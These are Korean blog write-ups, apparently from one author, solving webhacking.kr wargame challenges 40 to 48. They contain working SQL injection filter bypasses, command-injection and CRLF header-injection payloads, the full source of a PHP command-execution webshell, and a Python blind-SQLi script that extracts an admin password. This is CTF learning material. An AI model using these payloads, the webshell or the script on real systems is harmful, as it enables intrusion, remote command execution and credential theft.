문제에 아무리 파일을 업로드해봐도 따로 필터링도 없고 PHP는 실행이 되지 않습니다.

물론 .htaccess 파일을 업로드해봤는데도 마찬가지였습니다.


여기서 랜덤하게 이것저것 때려봤는데...

이런식으로 파일을 업로드해도 따로 나오는 게 없어서, 


뭐 없네, 하고 파일을 지우다가..


??


플래그가 나왔습니다.


납득이 되지 않아서 다시 천천히 살펴보았습니다.

<?php
  include "config.php";
  session_sync();
?>
<html>
<head>
<title>Challenge 48</title>
</head>
<body>
<h1>MEMO</h1>
<?php
  $db = dbconnect();
  if(($_GET['mode'] == "del") && ($_GET['time'])){
    if(preg_match("/[^0-9]/",$_GET['time'])) exit("time is not int");
    $result = mysqli_fetch_array(mysqli_query($db,"select id,up from chall48 where id='{$_SESSION['id']}' and time='{$_GET['time']}'"));
    if($result['id'] == $_SESSION['id']) mysqli_query($db,"delete from chall48 where time='{$_GET['time']}' and id='{$_SESSION['id']}'");
    if($result['up']){
      system("rm ./upload/{$result['up']}");
      exit("file deleted. <a href=/>go back</a>");
    }
  }
  if($_POST['memo']){
    $_POST['memo'] = addslashes($_POST['memo']);
    $file = $_FILES['upfile']['name'];
    $file = addslashes($file);
    if(preg_match("/\.\.|\//",$file)) exit("hacking detected");
    if($file){
      copy($_FILES['upfile']['tmp_name'],"./upload/".$file);
    }
    mysqli_query($db,"insert into chall48 values('{$_SESSION['id']}',".time().",'{$file}','{$_POST['memo']}')");
  }
?>
<form method=post enctype=multipart/form-data>
<input type=text size=50 name=memo><br><input type=file name=upfile><input type=submit value='Send'>
</form>
<?php
  $result = mysqli_query($db,"select * from chall48 order by time desc limit 0,20");
  while($row = mysqli_fetch_array($result)){
    $icon = crc32($_SESSION['id'])%8+1;
    $timestamp = $row['time'];
    $date = date('H:i:s',$timestamp);
    echo "<table border=0><tr onmouseout=this.style.background='white' onmouseover=this.style.background='silver'><td>{$date}</td><td align=center><img src={$icon}.jpg><br>{$row['id']}</td><td width=500>".htmlentities($row['memo'])."</td>";
    if($row['id'] == $_SESSION['id'] && $row['up']) echo("<td>[<a href=./upload/{$row['up']}>upload file</a>]</td>");
    if($row['id'] == $_SESSION['id']) echo("<td>[<a href=?mode=del&time={$timestamp}>Delete</a>]</td>");
    echo "</tr></table>";
  }
?>
</body>
</html>


일단 문제를 뽑아와보니 위와 같았습니다.


알고보니 delete를 수행할 때 system 명령어 rm으로 수행하는 것을 확인하였습니다.

생각해보니 파일을 지운다면 system 명령어든 뭐든 이용하여 PHP에서 직접 파일을 지울 때 shell 명령어를 동작시킬 거라 생각했어야 했네요.


system 명령어에서 따로 파일 이름의 필터링이 이루어지지 않으면 위와 같은 취약점을 일으킬 수 있다는 점 유의해야겠습니다.


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제를 살펴보면 다음과 같은 페이지가 보입니다.


메일을 보내는 과정을 text로 보여주고 있습니다.


위의 문제는 과거의 메일 취약점을 이용하는 건데, 만약 Email을 보낼 때 CC를 첨부하는 게 Text로 이루어질 경우 Cc에도 해당 메일이 전송되는 취약점을 이용할 수 있었습니다. 위의 문제에서도 그러한 취약점을 이용하면 됩니다.


우리가 입력한 값이 위의 Subject에 보입니다.


여기서 %0D%0A를 입력해보면 엔터문자가 들어가는 것을 확인할 수 있습니다.


그리고 다음과 같은 파라미터를 넘기면 rubiya님께 메일을 받을 수 있습니다.


subject=kkamikoon%0D%0ACc%3A+여러분의_이메일%0D%0A

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제 소스를 보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    $_GET['lv'] = addslashes($_GET['lv']);
    $_GET['lv'] = str_replace(" ","",$_GET['lv']);
    $_GET['lv'] = str_replace("/","",$_GET['lv']);
    $_GET['lv'] = str_replace("*","",$_GET['lv']);
    $_GET['lv'] = str_replace("%","",$_GET['lv']);
    if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
    if($result){
      echo("{$result['id']} information<br><br>money : {$result['cash']}");
      if($result['id'] == "admin") solve(46);
    }
  }
?>
</body>
</html>


위의 문제에서는 lv에 필터링을 매우 걸어두었습니다.

여기서 0x를 필터링한 건 char() 함수나 0b로 우회하였고, 띄어쓰기는 %09로 우회하였습니다.


https://webhacking.kr/challenge/web-23/?lv=0%09or%09id%3d0b0110000101100100011011010110100101101110 





'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제 소스를 보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 45</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value=guest><br>
pw : <input name=pw value=guest><br>
<input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']);
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['id'])) exit();
    if(preg_match("/admin|select|limit|pw|=|<|>/i",$_GET['pw'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall45 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      echo "hi {$result['id']}";
      if($result['id'] == "admin") solve(45);
    }
    else echo("Wrong");
  }
?>
</body>
</html>


여기서 19 ~ 20 소스를 보면 id와 pw 변수로 받은 값에 addslashes를 한 게 보입니다.

그리고 21번째 라인에는 mb_convert_encoding을 해주는 것을 볼 수 있습니다.


UTF-8로 인코딩해주는 것과 addslashes가 한 쌍을 이루는 것으로 보아 멀티바이트로 역슬레쉬를 우회할 수 있을 것으로 보입니다.


따라서 id 값에는 %af%5c 와 같은 값을 넣어주고 pw에는 원하는 조건문을 입력해주고 주석처리로 마무리해줍니다.


https://webhacking.kr/challenge/web-22/?id=%af%5c&pw=%20or%20id%20like%200x61646d696e%23




'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08

문제 소스를 보면 다음과 같습니다.

<?php
  if($_GET['view_source']){ highlight_file(__FILE__); exit; }
?><html>
<head>
<title>Challenge 44</title>
</head>
<body>
<?php
  if($_POST['id']){
    $id = $_POST['id'];
    $id = substr($id,0,5);
    system("echo 'hello! {$id}'"); // You just need to execute ls
  }
?>
<center>
<form method=post action=index.php name=htmlfrm>
name : <input name=id type=text maxlength=5><input type=submit value='submit'>
</form>
<a href=./?view_source=1>view-source</a>
</center>
</body>
</html>


위의 소스에서 $id에 들어가는 값은 5글자로 잘리게 되며, system 함수 내로 그대로 들어가는 것을 볼 수 있습니다.

여기서 ls를 실행하라고 하는데, 어떻게 하는 게 좋을까 고민해보았습니다.


일단 싱글쿼터로 닫아주고, echo까지는 끊어줘야 하니 세미콜론 넣어주고, ls 넣고, system 함수가 오류가 나면 안 되니 싱글쿼터를 더 넣어주니 이미 5글자더군요.


그대로 답을 입력해보니 플래그가 나왔습니다. ㅎㅅㅎ..







'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08

문제에서 바로 webshell을 업로드하라고 합니다.

파일을 업로드하려고 하면 php 파일이든 어떤 파일이든 일단은 wrong type을 출력했습니다.


올바른 타입은 확장자로 필터링하는 게 아닌가 하여 쭉 업로드해보는 과정에서 .raw 파일은 업로드가 가능하였습니다.

raw 파일은 Content-Type이 image/raw이기 때문에 가능한 것으로 보입니다.

image 파일에 대한 Content-Type은 필터가 이루어지지 않은것으로 보아 해당 타입으로 PHP 소스를 업로드해보면 Webshell이 잘 업로드되는 것을 확인할 수 있습니다.



업로드된 웹쉘로 파일을 읽어보면 플래그가 나옵니다.


제 코드는 아니지만 제가 기본적으로 활용하는 Simple PHP Webshell 코드입니다.


<?php
if (!empty($_POST['cmd'])) {
    $cmd = shell_exec($_POST['cmd']);
}
?>
<!DOCTYPE html>
<html>
<!-- By Artyum (https://github.com/artyuum) -->
<head>

    <meta charset="utf-8">

    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel="stylesheet" type="text/css" href="//bootswatch.com/4/flatly/bootstrap.min.css">

    <title>Web Shell</title>

    <style>
        h2 {
            color: rgba(0, 0, 0, .75);
        }
        pre {
            padding: 15px;
            -webkit-border-radius: 5px;
            -moz-border-radius: 5px;
            border-radius: 5px;
            background-color: #ECF0F1;
        }
        .container {
            width: 850px;
        }
    </style>

</head>

<body>

    <div class="container">

        <div class="pb-2 mt-4 mb-2">
	    <h1>PHP Shell</h1>
            <h2> Execute a command </h2>
        </div>

        <form method="POST">
            <div class="form-group">
                <label for="cmd"><strong>Command</strong></label>
                <input type="text" class="form-control" name="cmd" id="cmd" value="<?= htmlspecialchars($_POST['cmd'], ENT_QUOTES, 'UTF-8') ?>" required>
            </div>
            <button type="submit" class="btn btn-primary">Execute</button>
        </form>

<?php if ($cmd): ?>
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre>
<?= htmlspecialchars($cmd, ENT_QUOTES, 'UTF-8') ?>
        </pre>
<?php elseif (!$cmd && $_SERVER['REQUEST_METHOD'] == 'POST'): ?>
        <div class="pb-2 mt-4 mb-2">
            <h2> Output </h2>
        </div>
        <pre><small>No result.</small></pre>
<?php endif; ?>
    </div>

</body>

</html>



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07

파일을 다운로드 하는 Request 패킷을 보면 다음과 같습니다.

GET https://webhacking.kr/challenge/web-20/?down=dGVzdC50eHQ= HTTP/1.1

Host: webhacking.kr

Connection: keep-alive

Upgrade-Insecure-Requests: 1

DNT: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36

Sec-Fetch-User: ?1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate

Referer: https://webhacking.kr/challenge/web-20/

Accept-Encoding: gzip, deflate, br

Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7,lt;q=0.6

Cookie: PHPSESSID=peaoijko3v686g9tshr2s7fs44 


Base64로 디코딩 해보면 다음과 같습니다.

여기서 flag.docx를 클릭으로는 다운로드 할 수 없습니다.

HTML 코드를 보면 그냥 alert 함수를 실행시키는 Javascript 코드밖에 없습니다.


그러면 flag.docx 파일을 base64로 인코딩하여 Request해보면 flag 파일을 얻을 수 있습니다.





'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
<?php
  include "../../config.php";
  include "./inc.php";
  if($_GET['view_source']) view_source();
  error_reporting(E_ALL);
  ini_set("display_errors", 1);
?><html>
<head>
<title>Challenge 41</title>
</head>
<body>
<?php
  if(isset($_FILES['up']) && $_FILES['up']){
    $fn = $_FILES['up']['name'];
    $fn = str_replace(".","",$fn);
    $fn = str_replace("<","",$fn);
    $fn = str_replace(">","",$fn);
    $fn = str_replace("/","",$fn);

    $cp = $_FILES['up']['tmp_name'];
    copy($cp,"./{$upload_dir}/{$fn}");
    $f = @fopen("./{$upload_dir}/{$fn}","w");
    @fwrite($f,$flag);
    @fclose($f);
    echo("Done~");
  }
?>
<form method=post enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>

위의 소스코드를 보면 5번 라인에 Error에 대한 리포트를 출력하는 것을 볼 수 있습니다.

또한 flag 값은 우리가 업로드한 파일 이름으로 작성되는 것을 확인할 수 있습니다.

그런데, 우리가 업로드한 파일은 특정 $upload_dir에 있는 것으로 확인되었는데, 이 디렉토리는 알려주지 않습니다.


그러면 고의적으로 5번 라인에서 발생하는 에러를 통해 에러 메시지에서부터 어느정도 정보를 얻을 수 있을 것 같습니다.

에러를 발생시키기 위해서는 적절하지 않은 입력만큼 좋은 것이 없겠죠!


upload시 filename에 입력할 수 있는 최대 이름의 길이를 알아내보았는데, 파일 이름의 최대 길이를 알아내보니 다음과 같습니다.

뭐 일단 위와 같이 255 길이라고 하니 파일 이름을 엄청 길게 입력해보았습니다.


------WebKitFormBoundaryY1Y6GBYxaviuw2QG

Content-Disposition: form-data; name="up"; filename="kkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_file"

Content-Type: application/octet-stream


------WebKitFormBoundaryY1Y6GBYxaviuw2QG--


업로드 패킷은 위와 같이 전송되었습니다.

파일 이름 길이는 몇일지는 모르지만 엄청 길게 해보았습니다.


그랬더니 다음과 같은 Response가 날아왔습니다.

<html>
<head>
<title>Challenge 41</title>
</head>
<body>
<br />
<b>Warning</b>:  copy(./4b0e87fef7b5e8ba83894970c9806042e5d6ec9a/kkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_filekkamikoon_test_file): failed to open stream: File name too long in <b>/var/www/html/challenge/web-19/index.php</b> on line <b>21</b><br />
Done~<form method=post enctype="multipart/form-data">
<input type=file name=up><input type=submit value='upload'>
</form>
<a href=./?view_source=1>view-source</a>
</body>
</html>


위와 같이 업로드 경로가 나왔습니다.

이제 여기에 업로드한 파일 이름으로 들어가보도록 하면, 플래그가 입력되어 있을 것입니다.

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No40(500) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06

위의 페이지에서 이것저것 공격을 트라이 해보고 WHERE 절을 분석해본 결과,

다음과 같은 WHERE 절이 아닐까 하는 뇌피셜을 작성해봅니다.


SELECT 뭐시기 FROM 뭐시기 WHERE pw='비밀번호' and no=번호 and id='아이디' 


공격을 시도했을 때 admin 페이지로 들어가지는 경우는 다음과 같습니다.


 

 GET 공격 쿼리

https://webhacking.kr/challenge/web-29/?no=0||no=2&id=admin&pw=guest


저기서 pw는 따로 영향을 받지 않고 id에서 영향을 받은 것으로 확인되었습니다.

이제 공격을 수행하고 발견한 admin 페이지에서 공격을 수행해봐야 할 거 같은데..


admin 페이지는 다음과 같습니다.



여기서 test라는 값을 입력하니 auth라는 GET 파라미터로 값을 넘기는 것을 확인하였습니다.

저 입력 페이지 외에는 따로 알 수 있는 정보가 없습니다.


당장 이 페이지에서는 공격이 따로 불가능한 것 같습니다.

admin password는 입력할 수 있는 값과 결과가 한정적이기 때문에 GET 메소드에서 공격을 수행하여 Blind SQLi를 수행해야 할 것 같습니다.


일단 GET 메소드에서 공격 쿼리에 어떤 걸 사용할 수 있는지 대략적으로 알아본 결과는 다음과 같습니다.


 

 Filtered

%20, limit, 싱글쿼터 등


 

 Not Filtered

%09, %0a, %0d, UNION, SELECT 등


여기서 여러가지 공격을 시도해보고 다음과 같이 알아내보았습니다.


 

 공격 쿼리

no=0||no=2&&id=0x61646d696e&&알아내고자 하는 조건문

- no=0||no=2&&id=0x61646d696e&&length(pw)=??

- no=0||no=2&&id=0x61646d696e&&(BLIND SQL INJECTION 공격 쿼리)


위와 같은 값을 이용하여 공격을 수행할 수 있었습니다.





import sys
import requests
import urllib

# no -------------------------
# %20       filtered
# limit     filtered
# 
# %09       not filtered
# %0a       not filtered
# %0d       not filtered

# '         filtered <-- Failure(일반 실패한 것처럼 보임... 근데 아님)

# id -------------------------
# union     not filtered
# select    not filtered

requests.packages.urllib3.disable_warnings()
sess    = requests.session()
URL     = 'https://webhacking.kr/challenge/web-29/?no=%(no)s&id=%(id)s&pw=%(pw)s'
headers = { 'Cookie': 'PHPSESSID=q0gle6aih4e7i95ted71ipo0cf'}
proxies = { 'http'  : 'http://localhost:8888',
            'https' : 'http://localhost:8888' }

no  = "0||no=2&&id=0x61646d696e&&" # admin in hex
id  = "sfsdfsd"
pw  = "sdfsdf"

passLen = 0

for i in range(1,100):
    url_payload = { 'no'    : urllib.parse.quote(no+"length(pw)=%d" % i + "#"),
                    'id'    : urllib.parse.quote(id),
                    'pw'    : urllib.parse.quote(pw)}

    res         = sess.get( url     =URL % url_payload,
                            headers =headers,
                            proxies =proxies,
                            verify  =False)

    if 'Fail' in res.text:
        pass
    elif 'admin' in res.text:
        passLen = i
        break

print("[+] Password Length Found : %3d" % passLen)

bitLen = 8
passwd = ""

for j in range(1, passLen+1):

    tmpBit = ""

    for i in range(1,bitLen+1):
        url_payload = { 'no'    : urllib.parse.quote(no+"substr(lpad(bin(conv(hex(substr(pw,%d,1)),16,10)),8,0),%d,1)=1#" \
                                                         % (j, i)),
                        'id'    : urllib.parse.quote(id),
                        'pw'    : urllib.parse.quote(pw)}

        res         = sess.get( url     =URL % url_payload,
                                headers =headers,
                                proxies =proxies,
                                verify  =False)
        if 'Fail' in res.text:
            tmpBit += "0"
        elif 'admin' in res.text:
            tmpBit += "1"

    print("[-] tmpBit : %s" % tmpBit )
    passwd += chr(int(tmpBit, 2))


print("[+] Password Found : %s" % passwd)

print('[+] End ')



'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08
Webhacking.kr_No41(250) - old  (0) 2020.01.08
Webhacking.kr_No39(100) - old  (0) 2020.01.07
Webhacking.kr_No38(100) - old  (0) 2020.01.07
Webhacking.kr_No37(250) - old  (0) 2020.01.06
Webhacking.kr_No36(200) - old  (0) 2020.01.06

+ Recent posts